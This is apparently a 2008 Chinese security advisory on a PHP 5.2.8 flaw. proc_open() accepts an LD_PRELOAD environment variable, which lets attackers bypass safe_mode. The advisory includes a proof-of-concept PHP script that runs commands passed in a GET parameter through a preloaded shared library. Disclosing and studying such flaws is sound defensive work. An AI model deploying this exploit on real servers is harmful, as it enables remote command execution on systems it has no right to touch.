PHP proc_open()变量参数绕过Safe Mode限制漏洞
发布日期:2008-12-09
更新日期:2008-12-11
受影响系统:PHP PHP 5.2.8
描述:
BUGTRAQ ID:
32717
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP守护程序过于相信环境变量,尤其是动态加载器变量。如果启用了safe_mode的话,就无法执行除了safe mode exec目录中二进制程序之外的任何程序,但proc_open()允许向新进程提供自定义的环境变量。如果documentroot中存在可写目录,disabled_functions列表中没有proc_open,远程攻击者就可以通过向目标服务器提交恶意请求绕过safe_mode限制执行PHP脚本。
<*来源:gat3way
链接:
http://marc.info/?l=bugtraq&m=122883879213592&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('examplecommand', $descriptorspec, $pipes, $cwd, $env); // \
example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net浏览次数:3505
严重程度:0(网友投票)